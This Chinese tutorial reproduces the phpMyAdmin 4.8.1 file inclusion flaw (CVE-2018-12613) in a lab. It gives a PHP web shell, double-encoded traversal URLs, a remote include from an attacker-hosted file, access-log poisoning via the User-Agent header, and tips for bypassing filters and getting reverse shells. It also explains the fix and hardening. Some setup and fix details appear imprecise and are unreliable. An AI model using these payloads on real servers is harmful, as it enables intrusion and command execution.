CVE-2018-12613漏洞复现:phpMyAdmin远程文件包含原理与实战

发布时间:2026/6/29 14:24:42
CVE-2018-12613漏洞复现:phpMyAdmin远程文件包含原理与实战 1. 项目概述一次对经典Web应用漏洞的深度剖析今天我们来聊聊一个在渗透测试和Web安全学习圈子里绕不开的经典案例phpMyAdmin 4.8.1版本的远程文件包含漏洞CVE-2018-12613。如果你负责维护过使用phpMyAdmin的服务器或者正在学习Web安全攻防这个漏洞的名字你大概率听过。它之所以“经典”是因为它完美地展示了在一个看似功能完善的成熟软件中如何因为一处逻辑疏忽就为攻击者打开了一扇通往服务器内部的大门。简单来说这个漏洞允许攻击者通过精心构造的请求让phpMyAdmin的特定文件包含一个远程服务器上的恶意代码从而在目标服务器上执行任意命令。这可不是小事想想看phpMyAdmin通常拥有数据库的高权限一旦被利用数据泄露、服务器沦陷都是分分钟的事。我之所以想把这个漏洞的复现和分析过程写下来是因为我发现很多相关的文章要么过于简略只给个Payload了事要么就是环境搭建不完整让初学者卡在第一步。我希望通过这篇内容不仅能带你一步步亲手复现这个漏洞更重要的是让你理解漏洞产生的根本原因、利用条件的限制以及在实际渗透测试或安全评估中如何系统地发现和验证这类问题。无论你是刚入门的安全爱好者还是需要排查自家服务器隐患的运维人员这篇文章都能给你提供一套清晰的思路和可操作的步骤。我们会从环境搭建开始逐步深入到代码审计、漏洞利用和修复方案整个过程力求详尽确保你能跟得上、做得通。2. 漏洞原理与核心逻辑缺陷拆解要理解CVE-2018-12613我们得先搞清楚两个关键概念文件包含和phpMyAdmin的索引文件index.php路由逻辑。2.1 文件包含漏洞的基础在PHP中include、require、include_once、require_once这些语句其本意是为了代码复用比如把数据库连接配置、页头页尾等公共部分写成单独的文件然后在需要的地方包含进来。问题在于如果包含的文件路径是由用户输入如URL参数控制的并且没有经过严格的过滤攻击者就可以通过传入类似../../../etc/passwd或http://evil.com/shell.txt这样的路径来读取敏感系统文件或执行远程恶意代码。前者叫本地文件包含LFI后者就是这次漏洞涉及的远程文件包含RFI。RFI的危害通常更大因为它意味着攻击者可以完全控制被包含的代码内容。2.2 phpMyAdmin 4.8.1的特定缺陷点phpMyAdmin作为一个大型应用当然知道要防范文件包含。它在index.php入口文件的开头就对包含操作进行了白名单校验。核心的漏洞代码位于index.php的约60-70行。为了让你看得更明白我把关键逻辑简化一下// index.php 中的关键代码片段 if (! empty($_REQUEST[target]) is_string($_REQUEST[target]) ! preg_match(/^index/, $_REQUEST[target]) ! in_array($_REQUEST[target], $target_blacklist) Core::checkPageValidity($_REQUEST[target]) ) { include $_REQUEST[target]; exit; }这段代码的意思是如果请求中有target参数并且它是字符串且不以index开头不在黑名单$target_blacklist里并且通过了Core::checkPageValidity()函数的检查那么就直接包含这个target参数指定的文件。漏洞的根源就出在**Core::checkPageValidity()函数**的实现上。这个函数本应严格检查target参数是否在白名单一个允许被包含的脚本列表如db_structure.phpsql.php等内。在4.8.1及之前的一些版本中该函数的校验逻辑存在缺陷。它使用了urldecode()函数对target参数进行解码然后进行白名单匹配。但关键在于这个校验可能只执行了一次。攻击者可以利用的是二次编码Double Encoding或问号?截断技巧。例如攻击者传入的target参数不是简单的db_structure.php而是经过URL编码的db_structure.php%3F?的编码是%3F。Core::checkPageValidity()函数对其进行urldecode后得到db_structure.php?由于白名单里确实有db_structure.php校验可能就通过了。然而到了最后的include语句时$_REQUEST[‘target’]的值可能仍然是原始的db_structure.php%3F或者因为PHP/Apache的某些处理机制?后面的内容会被解释为HTTP查询字符串从而使得include语句实际尝试包含的是一个像db_structure.php?../../../../test.txt这样的路径。如果服务器配置允许allow_url_include为On且路径可控就可能实现文件包含。注意这里描述的是一种简化的攻击路径。实际利用中由于PHP版本、Web服务器配置如allow_url_include、allow_url_fopen以及phpMyAdmin自身其他过滤的影响直接包含远程URLRFI的条件在默认环境下往往比较苛刻。更常见的利用方式是结合phpMyAdmin自身存在的本地文件如Session文件、日志文件写入能力先写入恶意代码再通过此漏洞包含本地文件从而绕过远程包含的限制。这才是该漏洞在实际渗透中更典型的利用链。2.3 漏洞利用的关键条件理解了这个逻辑我们就能总结出成功利用这个漏洞通常需要的几个条件这也是我们复现环境需要搭建的phpMyAdmin版本受影响版本主要为4.8.0和4.8.1部分早期版本也可能受影响。4.8.2版本已修复。PHP配置allow_url_include需要设置为On才能支持包含远程URL经典RFI。在PHP 5.2及以上版本中此选项默认是Off的因此纯远程包含往往受限。allow_url_fopen通常也需要为On。Session、文件上传等相关功能可用为组合利用提供可能。可访问的phpMyAdmin入口通常需要能登录到phpMyAdmin的管理界面因为index.php的该段代码在认证后的上下文执行。但也有可能通过其他无需认证的入口点触发如果存在不过最常见的利用场景还是已获得一个低权限账户后进行权限提升或横向移动。3. 靶场环境搭建与配置要点纸上谈兵终觉浅绝知此事要躬行。要真正理解这个漏洞最好的办法就是亲手搭建一个漏洞环境并复现它。下面我详细说明两种主流的方法使用Docker快速搭建和手动配置集成环境。3.1 方案一使用Docker快速搭建推荐对于学习和测试Docker无疑是最快捷、最干净的方式。它能把所有依赖打包在一个容器里复现完毕一键删除不会污染宿主机。步骤1拉取漏洞环境镜像网络上已经有安全研究人员制作好了现成的漏洞环境镜像。我们可以直接使用。打开终端执行以下命令docker pull vulnerables/web-dvwa # 注意DVWA镜像可能集成了多个漏洞环境包括phpMyAdmin CVE-2018-12613。也可以专门寻找只包含该漏洞的镜像例如 # docker pull citizenstig/phpmyadmin-cve-2018-12613这里以vulnerables/web-dvwa为例因为它是一个知名的综合靶场其中包含了我们要复现的环境。步骤2运行容器docker run -d -p 8080:80 --name pma-test vulnerables/web-dvwa这条命令的含义是以后台模式 (-d) 运行一个名为pma-test的容器将容器内部的80端口映射到宿主机的8080端口。运行后你可以在浏览器访问http://你的宿主机IP:8080来访问靶场。步骤3定位并访问phpMyAdminDVWA靶场首页通常会有各种漏洞的链接。你需要找到指向phpMyAdmin的部分。有时它可能直接位于http://宿主机IP:8080/phpmyadmin。如果找不到可以进入容器内部查看docker exec -it pma-test /bin/bash find / -name *phpmyadmin* -type d 2/dev/null找到路径后退出容器在浏览器访问对应路径即可。实操心得使用Docker时务必注意端口冲突。如果宿主机8080端口已被占用可以改为-p 8081:80。另外有些镜像的phpMyAdmin可能默认没有启用allow_url_include你可能需要进入容器修改PHP配置文件通常是/etc/php5/apache2/php.ini或/etc/php/7.x/apache2/php.ini找到allow_url_include和allow_url_fopen将其值改为On然后重启Apache服务service apache2 restart。3.2 方案二手动搭建LAMP环境与phpMyAdmin如果你想更深入地了解环境细节或者Docker方案遇到问题手动搭建是一个很好的学习过程。步骤1准备Web服务器和PHP在Ubuntu系统上你可以使用以下命令安装Apache、PHP及必要扩展sudo apt update sudo apt install apache2 php libapache2-mod-php php-mysql php-mbstring php-zip php-gd -y安装完成后通过sudo systemctl status apache2检查Apache是否运行并通过php -v查看PHP版本。为了复现漏洞建议安装PHP 5.x 或 7.0 版本这些版本对相关配置的支持更符合漏洞存在的历史环境。步骤2下载并部署有漏洞的phpMyAdmin 4.8.1前往phpMyAdmin的官方GitHub仓库发布页面找到4.8.1版本的ZIP包下载链接。wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip sudo unzip phpMyAdmin-4.8.1-all-languages.zip -d /var/www/html/ sudo mv /var/www/html/phpMyAdmin-4.8.1-all-languages /var/www/html/phpmyadmin sudo chown -R www-data:www-data /var/www/html/phpmyadmin关键一步是修改PHP配置启用远程包含支持sudo nano /etc/php/7.2/apache2/php.ini # 请根据你的PHP版本调整路径在文件中搜索allow_url_include和allow_url_fopen将它们的值从Off改为On。allow_url_fopen On allow_url_include On保存后重启Apache服务使配置生效sudo systemctl restart apache2步骤3配置数据库可选为了能登录phpMyAdmin界面你还需要一个MySQL数据库。可以安装MariaDB并创建一个测试用户。sudo apt install mariadb-server -y sudo mysql_secure_installation # 运行安全初始化脚本按提示设置root密码等登录MySQL为phpMyAdmin创建用户和数据库sudo mysql -u root -p在MySQL提示符下执行CREATE DATABASE test_db; CREATE USER pma_userlocalhost IDENTIFIED BY YourStrongPassword123!; GRANT ALL PRIVILEGES ON test_db.* TO pma_userlocalhost; FLUSH PRIVILEGES; EXIT;然后你可以通过http://你的服务器IP/phpmyadmin访问用刚才创建的pma_user和密码登录。注意事项在生产环境中allow_url_include和allow_url_fopen必须设置为Off这是至关重要的安全配置。我们仅在测试环境中临时开启。手动搭建时文件的权限www-data用户和PHP扩展如php-mysql缺失是常见的失败原因务必仔细检查。4. 漏洞复现实操与利用链分析环境准备好后我们进入最关键的环节复现漏洞。我将演示两种思路一是尝试经典的远程文件包含RFI二是更贴近实际攻击的“本地文件包含文件写入”组合拳。4.1 尝试经典远程文件包含RFI这种方法直接测试include功能能否包含远程服务器上的PHP脚本。步骤1准备恶意脚本在你的另一台可控服务器攻击机上创建一个简单的PHP Web Shell。例如在攻击机的Web目录如/var/www/html/下创建文件evil.txt内容为?php system($_GET[‘cmd’]); ?注意这里使用.txt后缀有时可以绕过一些基础的文件类型检查。确保攻击机的Web服务已启动并能通过http://攻击机IP/evil.txt访问到这个文件。步骤2构造攻击请求登录你的phpMyAdmin 4.8.1靶场。打开浏览器开发者工具F12切换到Network网络标签页保持记录状态。然后在浏览器地址栏或使用工具如curl、Burp Suite发送以下请求http://靶场IP:端口/phpmyadmin/index.php?targetdb_structure.php%253f/../../../../../../../../var/www/html/evil.txt或者尝试包含远程URL前提是allow_url_includeOnhttp://靶场IP:端口/phpmyadmin/index.php?targetdb_structure.php%253fhttp://攻击机IP/evil.txt?cmdid参数解释target这是触发漏洞的核心参数。db_structure.php%253f%253f是问号?的二次URL编码?-%3F-%253F。目的是绕过Core::checkPageValidity函数的检查让其解码一次后匹配白名单db_structure.php。后面的../../../../或远程URL则是我们希望包含的实际路径。如果是远程URL且带了cmdid参数我们期望能执行id命令。步骤3观察结果查看浏览器响应如果页面返回了执行id命令后的系统用户信息如uid33(www-data) gid33(www-data) groups33(www-data)那么恭喜经典的RFI利用成功了。查看开发者工具Network观察发送的请求详情和服务器返回的响应体。如果失败响应可能是空白、包含错误信息或者直接跳转。踩坑记录在PHP 5.2以上版本且allow_url_includeOff的默认配置下直接包含远程URLhttp://...十有八九会失败。你会看到类似“URL file-access is disabled in the server configuration”的警告。这正是为什么纯RFI利用条件苛刻的原因。因此我们需要转向更可行的路径。4.2 本地文件包含LFI与日志文件注入组合利用既然远程包含困难攻击者往往会寻找服务器上已有的、内容可控的文件进行包含。Web服务器的访问日志是一个绝佳的目标。步骤1确认日志文件路径和权限首先我们需要知道靶场Apache日志的位置。常见路径有/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access_log你可以通过登录容器或靶场系统来查找docker exec -it pma-test find /var/log -name “*access*log” 2/dev/null假设我们找到路径是/var/log/apache2/access.log。同时需要确保运行phpMyAdmin的PHP进程通常是www-data用户有读取这个日志文件的权限。步骤2向日志中注入PHP代码访问日志记录了每一个HTTP请求。如果我们发起一个请求在User-Agent或GET参数中携带PHP代码这段代码就会被原样记录到日志文件里。例如使用curl命令curl -A “?php system(\$_GET[‘c’]); ?” “http://靶场IP:端口/phpmyadmin/”这条命令会向phpMyAdmin首页发起一个请求并将User-Agent设置为我们的PHP Web Shell代码。执行后这段?php system($_GET[‘c’]); ?就会被写入access.log文件。步骤3通过漏洞包含日志文件现在我们利用CVE-2018-12613漏洞去包含这个已经被“污染”的日志文件。构造如下请求http://靶场IP:端口/phpmyadmin/index.php?targetdb_structure.php%253f/../../../../../../../../var/log/apache2/access.logcid参数解释target参数指向了日志文件的路径。在URL末尾我们添加了cid。当漏洞成功包含access.log文件时文件中的PHP代码?php system($_GET[‘c’]); ?会被服务器解析执行而$_GET[‘c’]的值就是id。步骤4验证命令执行发送上述请求。如果漏洞利用成功你将在页面响应中看到id命令的执行结果即当前Web服务运行的用户身份如www-data。实操心得日志文件包含是LFI漏洞非常经典的利用技巧。但需要注意几点1) 日志文件可能很大包含时可能导致超时或内存耗尽可以尝试包含error.log它通常更小。2) 现代系统或Docker镜像可能对日志目录的权限控制更严格www-data用户可能无权读取。如果遇到权限问题可能需要调整日志文件权限测试环境中可临时chmod 644但这在生产环境中是极不安全的仅用于测试理解原理。3. 注入的PHP代码必须确保语法正确。如果日志文件本身包含一些破坏PHP语法的字符如换行、引号可能导致包含失败。有时需要多次尝试或进行编码。5. 漏洞深度分析与修复方案成功复现漏洞后我们不能仅仅停留在“能用”的层面。理解它如何被修复以及我们如何防御此类问题同样重要。5.1 官方修复代码解读phpMyAdmin在4.8.2版本中修复了此漏洞。修复的核心是改进了libraries/classes/Core.php文件中的checkPageValidity方法。我们来看一下关键的改动修复前有漏洞的版本逻辑简化版public static function checkPageValidity($page, array $whitelist []) { // ... 一些处理 ... $page urldecode($page); // 这里进行了一次解码 if (in_array($page, $whitelist)) { return true; } // ... 其他检查 ... }问题在于它只做了一次urldecode且后续的包含操作可能使用了未解码或不同解码状态的变量。修复后4.8.2的关键改进移除危险的urldecode在checkPageValidity函数中不再对输入参数进行urldecode。白名单匹配直接在原始输入或经过安全处理的路径上进行。强化路径校验增加了对包含路径中是否出现..目录遍历的检查。规范化处理使用basename()等函数确保只获取文件名部分防止路径穿越。修复的核心思想是在白名单验证阶段必须使用与最终包含操作完全一致的字符串进行比较任何额外的解码或转换都必须在验证之后、且结果安全可控的情况下进行。5.2 安全加固与防御建议如果你的环境中仍有旧版phpMyAdmin或者你想从运维角度防范此类漏洞可以采取以下措施立即升级这是最根本、最有效的办法。将phpMyAdmin升级到最新稳定版或至少高于4.8.1的版本。最小化PHP配置强制关闭allow_url_include和allow_url_fopen在php.ini中明确设置它们为Off。这能从根本上杜绝远程文件包含的风险。设置open_basedir将PHP可访问的文件限制在Web目录等特定范围内例如open_basedir /var/www/html:/tmp。这能有效遏制目录遍历攻击。强化Web服务器配置为phpMyAdmin目录添加额外的访问控制在Apache的虚拟主机配置或.htaccess文件中限制仅允许特定IP地址如管理后台IP访问/phpmyadmin目录。Directory /var/www/html/phpmyadmin Order Deny,Allow Deny from all Allow from 192.168.1.0/24 # 仅允许内网IP段 Allow from 203.0.113.5 # 或者允许特定的公网管理IP /Directory使用别名或子域名将phpMyAdmin部署在一个不易被猜到的路径或子域名下避免使用/phpmyadmin这种默认路径。遵循最小权限原则为phpMyAdmin连接数据库使用一个权限尽可能低的用户只赋予其管理特定数据库的必要权限而不是全局的ALL PRIVILEGES。确保Web服务器进程如www-data对系统文件和其他非Web目录的读取权限受到严格控制。部署Web应用防火墙WAF对于企业环境可以考虑部署WAF。WAF规则库通常会包含对CVE-2018-12613这类已知漏洞攻击特征的检测和拦截。5.3 渗透测试中的思考延伸从攻击者视角看这个漏洞的利用过程给我们上了生动的一课漏洞利用很少是单点突破而是一个链条攻击链。信息收集如何发现目标使用了phpMyAdmin以及其版本可以通过扫描常见路径、检查HTTP响应头中的X-Powered-By字段、或者利用其他信息泄露漏洞。权限获取CVE-2018-12613通常需要能访问到phpMyAdmin的登录后界面。这意味着攻击者可能需要先通过弱口令爆破、社工或其他漏洞获取一个数据库用户凭证。这提醒我们即使后台漏洞存在强密码和双因素认证也能构成有效屏障。利用条件探测即使找到漏洞点也需要判断环境是否满足利用条件如allow_url_include状态、日志文件路径和权限。这需要攻击者具备一定的环境探测能力。组合利用正如我们复现时所做单一的RFI不行就结合LFI和日志注入。在真实攻击中还可能结合文件上传漏洞将Web Shell上传到临时目录再通过此漏洞包含、Session文件注入等多种技术。因此作为防御方我们的策略也应该是层次化的及时修补已知漏洞、收紧服务器配置、实施网络隔离和访问控制、监控异常日志如大量包含../或编码字符的请求。安全是一个持续的过程而非一劳永逸的状态。6. 常见问题与排查技巧实录在复现和教学过程中我遇到了不少问题。这里把一些典型问题和解决方法记录下来希望能帮你少走弯路。问题现象可能原因排查与解决思路访问index.php?target...直接跳转到登录页或首页没有任何错误信息。1.未登录状态漏洞代码可能在认证检查之后执行。2.target参数校验不通过传入的target值未能通过Core::checkPageValidity检查。1. 确保你已经成功登录phpMyAdmin。可以尝试先正常登录再在新标签页中构造漏洞URL。2. 尝试使用不同的白名单文件进行路径穿越如db_sql.php,db_operations.php等。确保编码正确。使用Burp Suite的Decoder工具辅助进行URL编码/解码。页面返回空白或包含PHP警告/错误但未执行命令。1.PHP配置限制allow_url_include为Off无法包含远程URL或某些协议。2.文件路径错误包含的本地文件路径不正确或权限不足。3.注入的PHP代码被破坏日志文件中的特殊字符如换行、、被转义导致PHP语法错误。1. 确认php.ini中allow_url_include和allow_url_fopen已设置为On并重启了Web服务。2. 使用绝对路径并通过系统命令如find / -name access.log 2/dev/null确认日志文件确切位置和权限ls -la /var/log/apache2/access.log。3. 查看包含文件后的页面源代码CtrlU看注入的代码是否被原样输出。如果是说明文件被包含但未解析可能后缀不是.php或PHP配置问题。尝试包含一个已知的纯PHP文件测试。4. 简化注入的代码例如只注入?php phpinfo(); ?并检查日志文件中该行是否完整。使用Docker镜像但找不到phpMyAdmin或漏洞无法触发。1.镜像中phpMyAdmin路径不同。2.镜像默认配置未开启漏洞所需选项。1. 进入容器内部仔细查找docker exec -it 容器名 bash然后使用find或ls命令遍历/var/www等常见Web目录。2. 检查容器内的PHP配置php -i包含日志文件时页面加载极慢或超时。访问日志文件access.log可能非常庞大包含整个文件会导致PHP进程超时或内存耗尽。1. 尝试包含错误日志error.log它通常小很多。2. 清空或截断日志文件后再注入测试环境echo ‘’ /var/log/apache2/access.log。3. 在请求中尝试读取日志文件末尾部分但利用漏洞实现这一点比较复杂通常不如前两种方法直接。命令执行成功但无法进行后续操作如反弹Shell。1.系统命令被禁用PHP的disable_functions配置可能禁用了system,exec,shell_exec等函数。2.网络限制服务器出站连接可能被防火墙阻止。1. 使用phpinfo()页面查看disable_functions列表。尝试使用未被禁用的函数如passthru(),popen(), 反引号操作符或利用PHP文件操作函数写Web Shell。2. 尝试使用DNS外带或HTTP外带技术泄露数据而不是直接反弹TCP Shell。对于反弹Shell可尝试不同端口和工具如nc, bash, python。独家避坑技巧善用编码当直接包含../被过滤时尝试其URL编码%2e%2e%2f或双重编码%252e%252e%252f。对于空格的编码%20、也要灵活尝试。参数污染有时单独一个target参数不行可以尝试同时提供多个相同参数如?targetvalid.phptarget../../../evil.txt。不同Web服务器/PHP版本处理方式不同可能绕过检查。使用Burp Suite手动在浏览器地址栏构造复杂编码的URL很容易出错。使用Burp Suite的Repeater模块可以方便地对请求进行编辑、各种编码解码并观察响应是复现此类漏洞的利器。关注错误信息开启PHP的display_errors测试环境可以让你看到包含失败的具体原因是路径错误、权限问题还是语法错误这对于调试至关重要。通过以上步骤和问题排查你应该能够成功复现CVE-2018-12613漏洞并对其原理、利用条件和防御方法有一个立体而深入的理解。安全研究就是这样动手实践一次远比读十篇分析文章印象更深刻。